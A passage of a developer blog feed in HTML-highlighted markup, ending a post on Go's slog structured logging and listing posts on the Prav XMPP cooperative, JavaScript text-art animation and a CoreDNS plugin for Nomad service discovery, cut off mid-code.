<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">os</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">golang.org/x/exp/slog</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> main</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	var</span><span> (</span></span>
<span class="giallo-l"><span>		env</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span> os</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Getenv</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">APP_ENV</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>		handler</span><span style="color: light-dark(#6F42C1, #F69D50);"> slog</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Handler</span></span>
<span class="giallo-l"><span>	)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	switch</span><span> env</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	case</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">production</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span></span>
<span class="giallo-l"><span>		handler</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewJSONHandler</span><span>(</span><span>os</span><span>.</span><span>Stdout</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	default</span><span>:</span></span>
<span class="giallo-l"><span>		handler</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewTextHandler</span><span>(</span><span>os</span><span>.</span><span>Stdout</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>	log</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">New</span><span>(</span><span>handler</span><span>)</span></span>
<span class="giallo-l"><span>	log</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Info</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Hello world</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> go</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span><span style="color: light-dark(#032F62, #96D0FF);"> main.go</span></span>
<span class="giallo-l"><span>time</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">9</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">4</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">4</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">+</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span> level</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">I</span><span style="color: light-dark(#032F62, #96D0FF);">N</span><span style="color: light-dark(#032F62, #96D0FF);">F</span><span style="color: light-dark(#032F62, #96D0FF);">O</span><span> msg</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Hello world</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> APP_ENV=production</span><span style="color: light-dark(#032F62, #96D0FF);"> go</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span><span style="color: light-dark(#032F62, #96D0FF);"> main.go</span></span>
<span class="giallo-l"><span>{</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">time</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">2023-02-15T12:39:53.523477544+05:30</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">level</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">INFO</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">msg</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">Hello world</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">}</span></span>
<span class="giallo-l"></span></code></pre><h2 id="summary">Summary<a class="zola-anchor" href="#summary" aria-label="Anchor link for: summary">#</a></h2>
<p><code>slog</code> is an excellent proposal, and it’s high time Go gets its official structured logging library. The API is designed to be easy to use, and a clear path is given for users wanting high-performance/zero-allocs by creating their handlers and making these performance improvements.</p>
<p>Fin</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Bad Matrix]]></title>
            <link>https://www.evalapply.org/posts/bad-matrix/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/bad-matrix/index.html</guid>
            <pubDate>Tue, 14 Feb 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[A while ago, someone in the Recurse Center nerdiverse decided we needed a "Bad Print". They made one. Things escalated. Bad Matrix happened.]]></description>
            <content:encoded><![CDATA[A while ago, someone in the Recurse Center nerdiverse decided we needed a "Bad Print". They made one. Things escalated. Bad Matrix happened.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>riff</category>
            <category>bash</category>
        </item>
        <item>
            <title><![CDATA[Welcome to my new blog!]]></title>
            <link>https://aryak.me/blog/00-welcome.html</link>
            <guid isPermaLink="false">https://aryak.me/blog/00-welcome.html</guid>
            <pubDate>Sat, 28 Jan 2023 12:39:46 GMT</pubDate>
            <description><![CDATA[Hello everybody.
Welcome to my new blog!
I created this along with my website redesign and conversion to
pandoc from static html.
I will try to write based content atleast once a month but no
promises :P]]></description>
            <content:encoded><![CDATA[
<p>Hello everybody.</p>
<p>Welcome to my new blog!</p>
<p>I created this along with my website redesign and conversion to
pandoc from static html.</p>
<p>I will try to write based content atleast once a month but no
promises :P</p>]]></content:encoded>
            <author>arya@projectsegfau.lt (Arya Kiran)</author>
            <category>2023/01/28/6</category>
        </item>
        <item>
            <title><![CDATA[Riff: Classifying Tools for Thought]]></title>
            <link>https://www.evalapply.org/posts/tools-for-thought/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/tools-for-thought/index.html</guid>
            <pubDate>Thu, 19 Jan 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Trying out a classification for "Tools for Thought" as a means of augmenting the human intellect, hot on the heels of recent community conversations about ChatGPT, CoPilot, Stable Diffusion etc...]]></description>
            <content:encoded><![CDATA[Trying out a classification for "Tools for Thought" as a means of augmenting the human intellect, hot on the heels of recent community conversations about ChatGPT, CoPilot, Stable Diffusion etc...]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>meta</category>
            <category>riff</category>
            <category>ai</category>
            <category>intelligence_augmentation</category>
            <category>tools_for_thought</category>
        </item>
        <item>
            <title><![CDATA[Backstory Behind Prav Project]]></title>
            <link>https://ravidwivedi.in/posts/backstory-behind-prav-app-project/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/backstory-behind-prav-app-project/</guid>
            <pubDate>Wed, 18 Jan 2023 15:32:40 GMT</pubDate>
            <description><![CDATA[In 2020, I uninstalled WhatsApp due to its proprietary nature and being backed by a surveillance company. In my quest to find alternatives, I came across many messengers, before finally settling on Matrix and XMPP, both of which are decentralized chat protocols built on freedom-respecting software.
But chat applications are only as good as the number of people using them, and it was not easy to onboard people to XMPP or Matrix.
Creating an account on either of them requires installing an app, followed by choosing a server, a username, and a password. This onboarding process is relatively difficult compared to more commonly-known messengers like WhatsApp and Telegram. It was suitable for privacy-conscious users, but not for the majority of people who are not so privacy-conscious, or who just found it too much effort to invest into a new app.
At some point, Praveen (of FSCI fame) introduced me to Quicksy - an XMPP client which provides two features found in WhatsApp -
easier registration, allowing users to register by entering a phone number and an OTP;
easier contact discovery, which automatically adds people to your Quicksy contact list if you have their phone number in your phone book.
These made onboarding easier, and I was successfully able to use Quicksy to onboard users.
At the time, we were also running our own XMPP services at poddery.com and disap.in. These services were run by volunteers, and there had been instances where it took us months to fix something.
Further, we found that the XMPP clients weren’t consistent in their features across platforms. For example, Kaidan didn’t have OMEMO encryption, while Gajim doesn’t support calls. So, if a user wants to use a desktop client to make XMPP calls, they need to figure out that they have to install Dino (which is only available on GNU/Linux). Having a consistent brand across all platforms helps newbies, as it might be hard for them to wrap their head around using Dino to talk to Conversations.
One day, when Praveen’s friend installed Quicksy to share pictures with him, he gave him an idea to make a business out of it. Praveen also thought it would be better to market our own XMPP service rather than Quicksy, giving us more control over the privacy policy and service operations. This is when he asked me if I would like to get involved, to which I immediately agreed.
Praveen had many years of experience running XMPP services, albeit in a volunteer setting. He thought of experimenting with paid sysadmins rather than volunteers. This is how the Prav project was born. The phone number and contact discovery part was inspired by the Quicksy app, and the idea of consistent branding across platforms was inspired by Snikket. We also added the idea of making it subscription based, which can help us fund sysadmins and allocate funds towards marketing.
A few months later, we decided to make it a cooperative so that the decision-making is democratic (one person, one vote, as opposed to companies in which each person has voting power proportional to the number of shares they hold). Nagarjuna proposed we run a beta service to attract people to pledge the cooperative membership. This gave birth to our beta app and service.
Free software gives users the freedom to adapt the software - but in practice, only programmers or resourceful entities like governments or corporations get to exercise this freedom. With the cooperative model of the Prav project, we want to empower members to collectively decide upon which features to implement, followed by raising funds for developers to implement them.
I am excited to see how this experiment will turn out.]]></description>
            <content:encoded><![CDATA[<p>In 2020, I uninstalled WhatsApp due to its proprietary nature and being backed by a surveillance company. In my quest to find alternatives, I came across many messengers, before finally settling on Matrix and XMPP, both of which are decentralized chat protocols built on freedom-respecting software.</p>
<p>But chat applications are only as good as the number of people using them, and it was not easy to onboard people to XMPP or Matrix.</p>
<p>Creating an account on either of them requires installing an app, followed by choosing a server, a username, and a password. This onboarding process is relatively difficult compared to more commonly-known messengers like WhatsApp and Telegram. It was suitable for privacy-conscious users, but not for the majority of people who are not so privacy-conscious, or who just found it too much effort to invest into a new app.</p>
<p>At some point, Praveen (of FSCI fame) introduced me to Quicksy - an XMPP client which provides two features found in WhatsApp -</p>
<ol>
<li>easier registration, allowing users to register by entering a phone number and an OTP;</li>
<li>easier contact discovery, which automatically adds people to your Quicksy contact list if you have their phone number in your phone book.</li>
</ol>
<p>These made onboarding easier, and I was successfully able to use Quicksy to onboard users.</p>
<p>At the time, we were also running our own XMPP services at poddery.com and disap.in. These services were run by volunteers, and there had been instances where it took us months to fix something.</p>
<p>Further, we found that the XMPP clients weren’t consistent in their features across platforms. For example, Kaidan didn’t have OMEMO encryption, while Gajim doesn’t support calls. So, if a user wants to use a desktop client to make XMPP calls, they need to figure out that they have to install Dino (which is only available on GNU/Linux). Having a consistent brand across all platforms helps newbies, as it might be hard for them to wrap their head around using Dino to talk to Conversations.</p>
<p>One day, when Praveen’s friend installed Quicksy to share pictures with him, he gave him an idea to make a business out of it. Praveen also thought it would be better to market our own XMPP service rather than Quicksy, giving us more control over the privacy policy and service operations. This is when he asked me if I would like to get involved, to which I immediately agreed.</p>
<p>Praveen had many years of experience running XMPP services, albeit in a volunteer setting. He thought of experimenting with paid sysadmins rather than volunteers. This is how the Prav project was born. The phone number and contact discovery part was inspired by the Quicksy app, and the idea of consistent branding across platforms was inspired by Snikket. We also added the idea of making it subscription based, which can help us fund sysadmins and allocate funds towards marketing.</p>
<p>A few months later, we decided to make it a cooperative so that the decision-making is democratic (one person, one vote, as opposed to companies in which each person has voting power proportional to the number of shares they hold). Nagarjuna proposed we run a beta service to attract people to pledge the cooperative membership. This gave birth to our beta app and service.</p>
<p>Free software gives users the freedom to adapt the software - but in practice, only programmers or resourceful entities like governments or corporations get to exercise this freedom. With the cooperative model of the Prav project, we want to empower members to collectively decide upon which features to implement, followed by raising funds for developers to implement them.</p>
<p>I am excited to see how this experiment will turn out.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Animating Text Art in JavaScript]]></title>
            <link>https://www.evalapply.org/posts/animate-text-art-javascript/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/animate-text-art-javascript/index.html</guid>
            <pubDate>Mon, 16 Jan 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[It is with no small thanks to MDN, StackOverflow, Firefox's support for countless open tabs, JavaScript's support for first-class functions, and first-class supportive colleagues, I learned it is possible for a web front end novice to program "text art animations". Whatever that is even. Because I thoroughly enjoyed doing just that for Hanukkah of Data 2022. Here's how it went down.]]></description>
            <content:encoded><![CDATA[It is with no small thanks to MDN, StackOverflow, Firefox's support for countless open tabs, JavaScript's support for first-class functions, and first-class supportive colleagues, I learned it is possible for a web front end novice to program "text art animations". Whatever that is even. Because I thoroughly enjoyed doing just that for Hanukkah of Data 2022. Here's how it went down.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>hanukkah_of_data</category>
            <category>text_art</category>
            <category>design</category>
            <category>websites</category>
            <category>frontend</category>
            <category>javascript</category>
            <category>functional_programming</category>
            <category>web_development</category>
            <category>howto</category>
        </item>
        <item>
            <title><![CDATA[Building a CoreDNS plugin]]></title>
            <link>https://mrkaran.dev/posts/coredns-nomad/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/coredns-nomad/</guid>
            <pubDate>Wed, 04 Jan 2023 18:30:00 GMT</pubDate>
            <description><![CDATA[CoreDNS is an extensible DNS server (which is actually a fork of Caddy v1) that can be used to serve DNS records for a domain. It is written in Go and is very easy to extend. It has a plugin system that allows you to write your own plugins to extend its functionality. In this post, I will be writing a plugin for CoreDNS that will allow it to serve DNS records for Nomad services.
I recently came across a niche use case which required me to use a resolver address for querying Nomad services. Currently Nomad native service discovery is only possible via consul-template (which renders static block of address/port of services) and HTTP API. I felt adding a DNS interface would be a nice add-on.
Rather than writing and implementing all the boring crux of a DNS server, it’s better to extend on an existing server. CoreDNS fits in well here, it’s also used by K8s for service discovery. CoreDNS has an extensible plugin system which allows you to chain multiple different plugins for handling a request. Stuff like logs/metrics/caching comes for free with CoreDNS in form of a plugin.
CoreDNS docs have a handy guide on how to write a plugin from scratch, so I won’t cover that again here. These are just my short notes on how I locally developed the plugin, tested and some problems I encountered during the process.
Developing the plugin#
Firstly, you need to clone CoreDNS repo. Then, using the example plugin provided, you can create a new repository for your own plugin.
To make CoreDNS aware about this plugin, you need to add it to the plugin.cfg file. This file is used by the build script to generate the plugin list. The order of plugins matter here as they define how the request is handled. For example, if you want to log all the requests, you need to add the log plugin before your plugin.
To add an external plugin this is the format used:
nomad:github.com/mr-karan/coredns-nomad
However, since we are developing the plugin locally, we need to add a replace directive in go.mod file to point to the local plugin directory.
replace github.com/mr-karan/coredns-nomad => ../../coredns-nomad
Next, you can run make in coredns repository. It’ll build the binary and place it in coredns directory. You can run this binary to test your plugin. To check if the plugin indeed exists in the binary, you can use the following command
./coredns -plugins | grep nomad
Handling requests#
The ServeDNS function is used to handle the DNS request by the plugin. It takes a context.Context and a dns.ResponseWriter as arguments. The dns.ResponseWriter is used to write the response back to the client. The ServeDNS function returns an int which is the status code of the response. The status code is used by the next plugin in the chain to determine if it should handle the request or not.
Since the nomad plugin expects a query in format of service.namespace.nomad, it validates the query and extracts the service name and namespace from it. If the query is invalid, it returns dns.RcodeServerFailure status code. If the query is valid, it queries the Nomad API for the service and returns the response.
func (n Nomad) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
	state := request.Request{W: w, Req: r}
	qname := state.Name()
	qtype := state.QType()

	// Split the query name with a `.` as the delimiter and extract namespace and service name.
	// If the query is not for a Nomad service, return.
	qnameSplit := dns.SplitDomainName(qname)
	if len(qnameSplit) < 3 || qnameSplit[2] != "nomad" {
		return plugin.NextOrFailure(n.Name(), n.Next, ctx, w, r)
	}
	namespace := qnameSplit[1]
	serviceName := qnameSplit[0]

...

The plugin handles A,AAAA and SRV record requests currently. Since A/AAAA records can only contain an IP address, SRV records can be used to advertise the port number.
		// Check the query type to format the appriopriate response.
		switch qtype {
		case dns.TypeA:
			m.Answer = append(m.Answer, &dns.A{
				Hdr: header,
				A:   addr,
			})
		case dns.TypeAAAA:
			m.Answer = append(m.Answer, &dns.AAAA{
				Hdr:  header,
				AAAA: addr,
			})

...

Caching#
While some coredns plugins have an in-built support for caching the records to avoid a lookup to Nomad server everytime (which can get expensive), I decided to skip the caching implementation. This is because coredns itself has a cache plugins which supports a lot of various options for controlling the cache. In my testing, just using this cache plugin was sufficient to avoid Nomad lookups each time a query came in.
Testing the plugin#
I created a fake HTTP test server and added the URI paths which the Nomad Go client uses to query the Nomad API. This way I could test the plugin without having to run a Nomad cluster locally.
	// Setup a fake Nomad server.
	nomadServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		switch r.URL.Path {
		default:
			t.Errorf("Not implemented: %v", r.URL.Path)
			return
		case "/v1/service/example":
			w.Write([]byte(`[{"Address":"1.2.3.4","Namespace":"default","Port":23202,"ServiceName":"example"}]`))
		case "/v1/service/fakeipv6":
			w.Write([]byte(`[{"Address":"1:2:3::4","Namespace":"default","Port":8000,"ServiceName":"fakeipv6"}]`))
		case "/v1/service/multi":
			w.Write([]byte(`[{"Address":"1.2.3.4","Namespace":"default","Port":25395,"ServiceName":"multi"},{"Address":"1.2.3.5","Namespace":"default","Port":20888,"ServiceName":"multi"},{"Address":"1.2.3.6","Namespace":"default","Port":26292,"ServiceName":"multi"}]`))
		case "/v1/service/nonexistent":
			w.Write([]byte(`[]`))
		}
	}))
Usage Example#
Here are some examples of how this plugin works. The Corefile I’ve used is:
nomad:1053 {
    errors
    debug
    health
    log
    nomad {
		address http://127.0.0.1:4646
        ttl 10
    }
    prometheus :9153
    cache 30
}
On running coredns, it connects to a local Nomad agent which is running at http://127.0.0.1:4646. I’m running a redis job in Nomad, so I can query the service using the following command:
nomad service info -namespace=default redis                 
Job ID  Address              Tags  Node ID   Alloc ID
redis   192.168.29.76:25395  []    9e02c85b  95170495
redis   192.168.29.76:20888  []    9e02c85b  a1cf923c
redis   192.168.29.76:26292  []    9e02c85b  a9d1181a
Now, the same query can also be handled using the DNS server running by coredns:
doggo redis.default.nomad @tcp://127.0.0.1:1053
NAME                	TYPE	CLASS	TTL	ADDRESS      	NAMESERVER     
redis.default.nomad.	A   	IN   	10s	192.168.29.76	127.0.0.1:1053	
redis.default.nomad.	A   	IN   	10s	192.168.29.76	127.0.0.1:1053	
redis.default.nomad.	A   	IN   	10s	192.168.29.76	127.0.0.1:1053
Quering an SRV record is also possible:
dig +noall +answer +additional redis.default.nomad @127.0.0.1 -p 1053 SRV
redis.default.nomad.	10	IN	SRV	10 10 25395 redis.default.nomad.
redis.default.nomad.	10	IN	SRV	10 10 20888 redis.default.nomad.
redis.default.nomad.	10	IN	SRV	10 10 26292 redis.default.nomad.
redis.default.nomad.	10	IN	A	192.168.29.76
redis.default.nomad.	10	IN	A	192.168.29.76
redis.default.nomad.	10	IN	A	192.168.29.76
Code#
You can checkout the source code here.
Fin!]]></description>
            <content:encoded><![CDATA[<p>CoreDNS is an extensible DNS server (which is actually a fork of Caddy v1) that can be used to serve DNS records for a domain. It is written in Go and is very easy to extend. It has a plugin system that allows you to write your own plugins to extend its functionality. In this post, I will be writing a plugin for CoreDNS that will allow it to serve DNS records for Nomad services.</p>
<p>I recently came across a <a rel="external" href="https://github.com/hashicorp/nomad/issues/12588#issuecomment-1368679059">niche use case</a> which required me to use a resolver address for querying Nomad services. Currently Nomad native service discovery is only possible via <code>consul-template</code> (which renders static block of address/port of services) and HTTP API. I felt adding a DNS interface would be a nice add-on.</p>
<p>Rather than writing and implementing all the boring crux of a DNS server, it’s better to extend on an existing server. CoreDNS fits in well here, it’s also used by K8s for service discovery. CoreDNS has an extensible plugin system which allows you to chain multiple different plugins for handling a request. Stuff like logs/metrics/caching comes for free with CoreDNS in form of a plugin.</p>
<p>CoreDNS docs have a <a rel="external" href="https://github.com/coredns/coredns/blob/master/plugin.md#writing-plugins">handy guide</a> on how to write a plugin from scratch, so I won’t cover that again here. These are just my short notes on how I locally developed the plugin, tested and some problems I encountered during the process.</p>
<h2 id="developing-the-plugin">Developing the plugin<a class="zola-anchor" href="#developing-the-plugin" aria-label="Anchor link for: developing-the-plugin">#</a></h2>
<p>Firstly, you need to clone CoreDNS repo. Then, using the <a rel="external" href="https://github.com/coredns/example">example</a> plugin provided, you can create a new repository for your own plugin.</p>
<p>To make CoreDNS aware about this plugin, you need to add it to the <code>plugin.cfg</code> file. This file is used by the build script to generate the plugin list. The order of plugins matter here as they define how the request is handled. For example, if you want to log all the requests, you need to add the <code>log</code> plugin before your plugin.</p>
<p>To add an external plugin this is the format used:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">nomad:github.com/mr-karan/coredns-nomad</span></span></code></pre>
<p>However, since we are developing the plugin locally, we need to add a <code>replace</code> directive in <code>go.mod</code> file to point to the local plugin directory.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span>replace</span><span> github</span><span>.</span><span>com</span><span style="color: light-dark(#D73A49, #F47067);">/</span><span>mr</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>karan</span><span style="color: light-dark(#D73A49, #F47067);">/</span><span>coredns</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>nomad</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span> .</span><span>.</span><span style="color: light-dark(#D73A49, #F47067);">/</span><span>.</span><span>.</span><span style="color: light-dark(#D73A49, #F47067);">/</span><span>coredns</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>nomad</span></span></code></pre>
<p>Next, you can run <code>make</code> in <code>coredns</code> repository. It’ll build the binary and place it in <code>coredns</code> directory. You can run this binary to test your plugin. To check if the plugin indeed exists in the binary, you can use the following command</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">./coredns</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">plugins</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> grep</span><span style="color: light-dark(#032F62, #96D0FF);"> nomad</span></span></code></pre><h2 id="handling-requests">Handling requests<a class="zola-anchor" href="#handling-requests" aria-label="Anchor link for: handling-requests">#</a></h2>
<p>The <code>ServeDNS</code> function is used to handle the DNS request by the plugin. It takes a <code>context.Context</code> and a <code>dns.ResponseWriter</code> as arguments. The <code>dns.ResponseWriter</code> is used to write the response back to the client. The <code>ServeDNS</code> function returns an <code>int</code> which is the status code of the response. The status code is used by the next plugin in the chain to determine if it should handle the request or not.</p>
<p>Since the <code>nomad</code> plugin expects a query in format of <code>service.namespace.nomad</code>, it validates the query and extracts the service name and namespace from it. If the query is invalid, it returns <code>dns.RcodeServerFailure</code> status code. If the query is valid, it queries the Nomad API for the service and returns the response.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">n </span><span style="color: light-dark(#6F42C1, #F69D50);">Nomad</span><span>)</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> ServeDNS</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">ctx</span><span style="color: light-dark(#6F42C1, #F69D50);"> context</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Context</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> w</span><span style="color: light-dark(#6F42C1, #F69D50);"> dns</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">ResponseWriter</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> r</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#6F42C1, #F69D50);">dns</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Msg</span><span>)</span><span> (</span><span style="color: light-dark(#D73A49, #F47067);">int</span><span>,</span><span style="color: light-dark(#D73A49, #F47067);"> error</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>	state</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #F69D50);"> request</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Request</span><span>{</span><span>W</span><span>:</span><span> w</span><span>,</span><span> Req</span><span>:</span><span> r</span><span>}</span></span>
<span class="giallo-l"><span>	qname</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> state</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Name</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>	qtype</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> state</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">QType</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Split the query name with a `.` as the delimiter and extract namespace and service name.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> If the query is not for a Nomad service, return.</span></span>
<span class="giallo-l"><span>	qnameSplit</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> dns</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">SplitDomainName</span><span>(</span><span>qname</span><span>)</span></span>
